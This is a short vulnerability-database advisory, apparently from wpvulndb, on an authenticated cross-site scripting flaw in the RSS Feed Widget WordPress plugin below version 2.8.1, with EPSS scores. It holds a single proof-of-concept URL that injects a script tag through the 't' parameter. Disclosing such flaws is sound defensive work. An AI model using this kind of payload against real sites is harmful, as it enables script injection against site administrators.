Lucene search

K
wpexploitWpvulndbWPEX-ID:AC41B53A-4C0E-4723-8D58-8AD018B8ECD3
HistoryAug 10, 2020 - 12:00 a.m.

RSS Feed Widget < 2.8.1 - Authenticated Cross-Site Scripting (XSS)

2020-08-1000:00:00
wpvulndb
13

0.001 Low

EPSS

Percentile

32.7%

The RSS Feed Widget WordPress plugin version 2.8.0 and below was vulnerable to Authenticated Cross-Site Scripting (XSS) within the “t” GET parameter.

http://www.example.com/wp-admin/admin.php?page=rfw_options&t=1"><script>alert("xss")</script>

0.001 Low

EPSS

Percentile

32.7%

Related for WPEX-ID:AC41B53A-4C0E-4723-8D58-8AD018B8ECD3